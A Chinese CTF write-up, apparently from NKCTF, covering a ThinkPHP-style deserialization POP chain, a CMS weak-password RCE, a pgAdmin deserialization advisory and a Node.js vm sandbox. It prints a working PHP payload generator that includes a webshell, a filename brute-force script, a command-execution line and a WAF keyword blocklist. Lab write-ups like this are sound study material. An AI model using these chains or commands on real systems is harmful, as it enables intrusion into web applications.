用过都说熟悉 这道题一打开进去是一个登录界面,比赛的时候稍微尝试了一下弱密码,发现不行就先放弃了,赛后发现是一道反序列化的题目,才开始认真审计代码,这道题差不多复现出来了,所以就稍微记录一下。
进去是一个非常明显的登录页面,题目给出了附件,因为知道是一道反序列化,直接先搜索一下unserialize
(藏得很深,比赛的时候不知道反序列化,感觉需要点耐心)
1 2 3 4 5 6 7 8 if ($data ['name' ]==='guest' ){ unserialize (base64_decode ($data ['password' ])); } if ($data ['salt' ]) { $key = substr ($data ['password' ], 0 , 5 ) . "2&$%@(*@(djfhj1923" ; $data ['password' ] = Mcrypt ::decode (substr ($data ['password' ], 5 ), $key ); } $user = $this ->userInfo ($data ['name' ],$data ['password' ]);
发现用户名为guest
,而密码则存在可以利用的反序列化,而反序列化的入口无非就两个点,__destruct
和__wakeup
,这里直接通过搜索这两个关键词进行查找,查找后可以发现__wakeup
并不存在利用点,唯一可以利用构造链子的在 Windows.php 下
这里就对removeFiles()
进行跟踪,$filename
被当作字符串进行拼接,可以触发__toString
方法,
虽然__toString
方法也存在两个,但简单看了一下,这有Collection.php下方法可以被利用
继续对toJson()
进行跟踪
跟踪到toArray()
这里可以看到items
调用了一个不可访问的属性,可以触发__get
这里的Loginsumbit
方法无法被继续被跟踪,也就是说调用了一个不可访问的函数,即可以触发__call
方法,可以查找到的__call
有很多,但具体看了一眼,可以发现能被利用的大致只有两个
Testone.php文件下的
和Config.php文件下的
两个都是进行了文件包含,一个是可以自定义文件包含内容,一个是包含了hint内容,这里因为是赛后复现,我就不查看hint了,到这里其实链子就已经基本完成了,而要知道我们需要包含的文件内容,我们尝试进行登录(稍微简单说一下,这里构造链子后,仔细观察代码可以发现是文件名是以时间戳的md5加密进行命名,这里我就直接搬用一下大佬的脚本,提示是一个情书,对密码进行提示,嗯….,但因为附件里存在数据库文件,可以直接对password进行查看)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import hashlibimport timeimport requestst = 1711177055 url = "http://5f9e4285-0d6a-41e4-8727-bb3d953aebd4.node.nkctf.yuzhian.com.cn/app/controller/user/think/" while True : t = t + 1 number_str = str (t).encode('utf-8' ) hash_object = hashlib.md5(number_str) md5_hash = hash_object.hexdigest() res = requests.get(url=url+md5_hash) time.sleep(1 ) print (f"{md5_hash} : f{len (res.text)} " ) print (res.text)
登录后对网站进行简单浏览,可以发现桌面回收站里存在一个html文件,里面存在一个一句话木马
这里我们就对poc链重新进行修改,引用一句话木马的地址,进行命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace think ;class Collection { public $items ; } namespace think \process \pipes ;use PHPEMS \item_weixin ;use think \Collection ;use think \Process ;class Windows { public $files ; } namespace think ;class View { public $data ; public $engine ; } namespace think ;class Config {} use think \process \pipes \Windows ;$A = new \think\process\pipes\Windows ();$A -> files = array (new \think\Collection ());$A -> files[0 ]-> items = new \think\View ();$A -> files[0 ]-> items->data= array ("Loginout" =>new \think\Config ());$A -> files[0 ]-> items->engine = array ("name" =>"../../../../../../../../../var/www/html/data/files/shell" );echo base64_encode (serialize ($A ));
这里返回登录页面,尝试反序列化,发现无回现,这里就尝试使用反弹shell,就可以获得flag(这里因为后面靶场关了,我这里也就没有尝试),这里总的来说,没有特别难的地方,就是需要代码审计和耐心,同时因为第一次在比赛里做到反序列化,对链子的正向构造还是有点不熟练,还需要多加练习。
my first cms 这题进去也是一个框架,可以看到里面有提示,根据提示找到登录页面,这里登录需要弱口令爆破(……嗯,我用字典爆破了半天,最后还是学长试出来的….这个字典要更新了)
进去后,简单查阅后可以发现,在Extensions > User Defined Tags
可以进行rce,执行system(‘cat //_fffff1@g’)即可得到flag
attack_tacooooo 嗯 ,这题进去也是一个弱口令,题目提示了 tacooooo@qq.com 为账号,嗯,我又成功的没试出密码……又是学长的提醒,
1 tacooooo@qq.com:tacooooo
进去后可以看到仍然是一个架构题,百度一下可以得到明确的漏洞,这里贴一下原文章
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
嗯…..文章里的有些看不懂…..这里就先放着,以后在过来看….
全世界最简单的CTF Nodejs沙箱逃逸
嗯…..这道题确实不会,只能找到一个原码,访问/secret就可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 const express = require ('express' ); const bodyParser = require ('body-parser' ); const app = express (); const fs = require ("fs" ); const path = require ('path' );const vm = require ("vm" ); app.use (bodyParser.json ()).set ('views' , path.join (__dirname, 'views' )).use (express.static (path.join (__dirname, '/public' ))) app.get ('/' , function (req, res ){ res.sendFile (__dirname + '/public/home.html' ); }) function waf (code ) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g ; if (code.match (pattern)) { throw new Error ("what can I say? hacker out!!" ); } } app.post ('/' , function (req, res ) { let code = req.body .code ; let sandbox = Object .create (null ); let context = vm.createContext (sandbox); try { waf (code) let result = vm.runInContext (code, context); console .log (result); } catch (e){ console .log (e.message ); require ('./hack' ); } }) app.get ('/secret' , function (req, res ) { if (process.__filename == null ) { let content = fs.readFileSync (__filename, "utf-8" ); return res.send (content); } else { let content = fs.readFileSync (process.__filename , "utf-8" ); return res.send (content); } }) app.listen (3000 , ()=> { console .log ("listen on 3000" ); })
这里就先放着,以后学js了再回来看一眼